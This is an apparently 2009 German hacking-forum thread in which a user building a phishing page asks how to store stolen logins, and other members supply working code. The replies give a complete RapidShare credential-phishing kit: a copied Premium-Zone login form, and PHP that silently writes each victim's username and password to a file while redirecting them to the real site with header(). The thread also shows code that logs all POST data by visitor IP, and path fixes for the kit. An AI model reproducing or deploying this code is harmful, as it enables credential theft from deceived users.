Ergebnis 1 bis 10 von 10
  1. #1
    Attention-whore Avatar von n00kie
    Registriert seit
    26.02.2007
    Beiträge
    755

    Standard PHP: FTP-Funktion

    Also und zwar habe ich folgendes Problem. Mal angenommen ich habe eine Pishing-Seite, egal für was auch immer. Dort möchte ich nun sobald ein Benutzer seine Daten eingibt und absendet, das sein Computername ermittelt wird, die Daten in eine Datei ohne Endung geschrieben werden, der Name der Datei soll der Computername sein. So zu guter letzt soll diese Datei auf ein bestimmtes Verzeichnis hochgeladen oder angelegt werden.

    Daten ermitteln:
    PHP-Code:
      $title getenv("COMPUTERNAME");
      
    $username $_POST['login'];
      
    $passwd $_POST['password'];
      
    $content "Username: " $username "<br />" "Password: " $passwd
    FTP Connection:
    PHP-Code:
     $ftp_server "Server";
      
    $ftp_name "Benutzer";
      
    $ftp_pwd "Passwort";
      
    $connection_id ftp_connect($ftp_server);
      
    $login_result ftp_login($connection_id$ftp_name$ftp_pwd); 
    Hierbei wüsste ich nun nicht wie ich eine Datei anlege auf dem FTP.


    Hier habe ichs mal mit fopen() versucht:
    PHP-Code:
    $filename "ftp://username:passwd@example.com/".$title;
      
    $handle fopen($filename"w");
      
    fwrite($handle$content);
      
    fclose($handle); 
    Danke im Vorraus.
    Programming is like sex. One mistake and you have to support it for the rest of your life.

  2. #2
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Fakt ist, dass Du den Computernamen nicht per PHP ermitteln kannst. Wie denn auch? Wo soll PHP diese Information herhaben? Das einzige, was mir einfiele wäre die IP.

    PHP-Code:
    <?php

    $ip 
    $_SERVER['REMOTE_ADDR'];
    $dir "/logs/";
    $handle fopen($dir.$ip,"a");

    foreach(
    $_POST AS $key => $value) {

        
    fwrite($handle,$key."=".$value."\r\n");

    }

    fclose($handle);

    ?>
    Öffnet eine Datei, mit dem Namen der IP auf dem Webspace. Und zwar in dem Verzeichnis, welches in der Variable dir übergeben wird. Existiert die Datei nicht, wird sie angelegt. Zudem wird alles, was per POST übermittelt wird in das Dokument geschrieben. Im Format: Name = Wert (Username = Power-Sven, Passwort = sowieso etc.).
    Geändert von VeN0m (14.06.2009 um 22:37 Uhr)
    Come to the dark side - We have cookies

  3. #3
    Attention-whore Avatar von n00kie
    Registriert seit
    26.02.2007
    Beiträge
    755

    Standard

    Ok, danke dir. Hab ich ganz vergessen, mit dem Computernamen, ist ja klar. qq Aber mit welche von beiden Methoden, sollte ich jetzt dabei auf den FTP-Verbinden? fopen oder per ftp_connect?
    Programming is like sex. One mistake and you have to support it for the rest of your life.

  4. #4
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Fopen ist das, was bei Phishingseiten am häufigsten genutzt wird und sich auch bewährt. Wenn ein Script auf einem FTP liegt, so lohnt es sich stets, lieber Funktionen wie "fopen", "fwrite" etc. zu nutzen, statt jenen, die vorher ein "ftp_connect" benötigen.

    Jedenfalls funktioniert es, und das ist ja die Hauptsache. Ich würde jetzt nicht sagen, dass eine der beiden Methoden einen Vor- oder Nachteil gegenüber der anderen hat. Ich empfehle Dir dennoch, den "ftp_connect"-"Blödsinng" zu lassen, und Dich auf fopen und fwrite zu konzentrieren .
    Come to the dark side - We have cookies

  5. #5
    Attention-whore Avatar von n00kie
    Registriert seit
    26.02.2007
    Beiträge
    755

    Standard

    So richtig klappen tut es noch immer nicht. Ich hab hier mal meinen Quelltext, wie HTML, so auch PHP. Mein Anbieter ist zurzeit 425MB.com, wäre dann der auf ruf von "ftp://beispielname:beispielpassword@425mb.com/" so richtig im Quelltext? Da meine Domain normalerweise scylla.425mb.com lauten würde.

    HTML-Code:
    <form action="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi" method="post">
        <input name="uselandingpage" value="1" type="hidden">
        <table cellpadding=5>
            <tr>
                <td>Login:</td>
    
                <td><input type="text" name="login" size=16 style="width:100%" /></td>
            </tr>
            <tr>
                <td>Passwort:</td>
                <td><input type="password" name="password" size=16 style="width:100%" /></td>
            </tr>
            <tr>
                <td></td>
    
                <td align=center><input type="submit" value="Premium-Zone Login" /></td>
            </tr>
        </table>    
    </form>
    PHP-Code:
      
      $dir 
    "profiles/Rapidshare/";
      
    $username $_POST['login'];
      
    $passwd $_POST['password'];
      
    $title $username;
      
    $content "Username: " $username "<br />" "Password: " $passwd;
      
      
    $filename "ftp://beispielusername:beispielpasswd@425mb.com/".$dir.$title;
      
    $handle fopen($filename"w");
      
    fwrite($handle$content);
      
    fclose($handle); 
    Geändert von n00kie (15.06.2009 um 08:04 Uhr)
    Programming is like sex. One mistake and you have to support it for the rest of your life.

  6. #6
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Du kannst das mit "ftp://beispielname:beispielpasswd@425mb.com" weglassen. Wenn ein Script auf einem Space liegt, so kann es auch Aktionen auf die Dateien ausführen.
    Auch wäre "ftp://" falsch, da dies das file transfer protokoll ist. Zur Anzeige und Ausführung der Codes benötigst Du jedoch das Hypertext Transfer Protokoll. Aber das ist wie gesagt nicht notwendig.

    Ich verstehe nur nicht, wie sich die Phishingseite oben zusammensetzt. Wenn Du als "action" des Formulars Rapidshare angibst, so wird das Formular an die geschickt. Du möchtest es aber ja zu Dir.

    HTML-Code:
    <form action="login.php" method="post">
        <input name="uselandingpage" value="1" type="hidden">
        <table cellpadding=5>
            <tr>
                <td>Login:</td>
    
                <td><input type="text" name="login" size=16 style="width:100%" /></td>
            </tr>
            <tr>
                <td>Passwort:</td>
                <td><input type="password" name="password" size=16 style="width:100%" /></td>
            </tr>
            <tr>
                <td></td>
    
                <td align=center><input type="submit" value="Premium-Zone Login" /></td>
            </tr>
        </table>    
    </form>
    Hier habe ich schlicht die Formular-action auf "login.php" geändert. Dabei gehe ich davon aus, dass beide Dateien im selben Verzeichnis liegen und die PHP-Datei "login.php" heißt. Musst Du natürlich anpassen.

    PHP-Code:
    <?php

    header
    ("location: https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi");

    $dir "profiles/Rapidshare/";
    $username $_POST['login'];
    $passwd $_POST['password'];
    $title $username;
    $content "Username: " $username "<br />" "Password: " $passwd;
     
    $filename $dir.$title;
    $handle fopen($filename"w");
    fwrite($handle$content);
    fclose($handle); 

    ?>
    Die Datei würde jetzt beim Login den User auf "login.php" verweisen, wo das Formular ausgewertet wird. Per header() wird der Aufrufer auf Rapidshare "geschmissen", während seine Daten gelogged werden.
    Wenn z.B. die Phishingseite in Root/phishing liegt, so wird Root/phishing/profiles/Rapidshare als Verzeichnis gewählt und eine Datei angelegt, die wie der User heißt.
    Entfernt habe ich noch das mit "ftp://beispielusername:[...]", da das wie gesagt nicht notwendig ist.

    So, wie ich es Dir jetzt gegeben habe müsste es klappen .

    Siehe auch: PHP.net - Fopen *klick*
    Come to the dark side - We have cookies

  7. #7
    Attention-whore Avatar von n00kie
    Registriert seit
    26.02.2007
    Beiträge
    755

    Standard

    ja, auf PHP.NET habe ich auch schon nachgeschaut. Mir ist das mit dem Parameter "action" auch erst heute morgen in der Schule aufgefallen. Bevor ich das ganze jetzt ausprobiere frage ich noch kurz was. Also ich bin sagen wir mal in dem Verzeichnis:
    "name.425mb.com/rapidshare", so nun möchte ich die Datei aber in "name.425mb.com/profiels/Rapidshare" erstellen lassen. Muss ich dann nicht den Pfad in der Variable $dir in "name.425mb.com/profiels/Rapidshare/" umändern, anstatt "profiles/Rapidshare"?
    Programming is like sex. One mistake and you have to support it for the rest of your life.

  8. #8
    this.hatcolor = gray Avatar von Ancient87
    Registriert seit
    29.03.2009
    Beiträge
    143

    Standard

    FTP brauchst du dann wenn du auf einen externen ftp hochladen willst wenn du das zeug am selben server speicherst wo das script liegt kannst dus ganz normal per fopen in eine Datei schreiben.

    Wie der Aufruf lautet haengt von deinem Anbieter ab ich nehme an nachdem du dein script da hochgeladen hast weisst du aich die Addresse vom ftp server sollte also kein Problem sein. Aber wie schon angesprochen FTP ist in diesem Falle vollkommen ueberflueesig.

    Wenn du es trotzdem versuchen willst
    http://us3.php.net/manual/en/ftp.examples-basic.php

    sollte alles haben was du brauchst

    Edit:

    Zu deiner Frage.

    Den main namen der domain kanns tu beim file access ja schon komplett weglassen du bist ja schon auf dem server in deinem webroot.
    du musst jetzt den relativen Pfad zu der file angeben auf die du schreiben willst.

    angenommen "." ist wo dein script liegt = name.425mb.com/rapidshare
    wenn du jetzt zu name.425mb.com/profiels/Rapidshare/" willst dann gehst du "../profiels/Rapidshare"


    MFG
    Geändert von Ancient87 (15.06.2009 um 12:59 Uhr)
    Knowledge is power - don't abuse it!

    Fuer niveauvolle Anfragen bin ich unter 139156343 erreichbar

  9. #9
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Zitat Zitat von Nintendo Beitrag anzeigen
    [..]so nun möchte ich die Datei aber in "name.425mb.com/profiels/Rapidshare" erstellen lassen. Muss ich dann nicht den Pfad in der Variable $dir in "name.425mb.com/profiels/Rapidshare/" umändern, anstatt "profiles/Rapidshare"?
    Nein. Ein Slash am Anfang des Pfades bringt Dich zurück in den Root.
    Zum Beispiel. Du bist in Root/Rapidshare und möchtest nach Root/profiles/Rapidshare. Das bewerkstelligst Du mit /profiles/Rapidshare. Würdest Du nun einfach profiles/Rapidshare übergeben, so würdest Du in Root/Rapidshare/profiles/Rapidshare landen. Also machst Du folgendes:

    Code:
    $dir = "/profiles/Rapidshare";
    Viel Erfolg
    Come to the dark side - We have cookies

  10. #10
    Attention-whore Avatar von n00kie
    Registriert seit
    26.02.2007
    Beiträge
    755

    Standard

    Danke, nochmal an alle. Das Thema kann denke ich jetzt geschlossen werden, da durch die nette Hilfe von Power-Sven alles geklärt wurde. (:
    Programming is like sex. One mistake and you have to support it for the rest of your life.

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •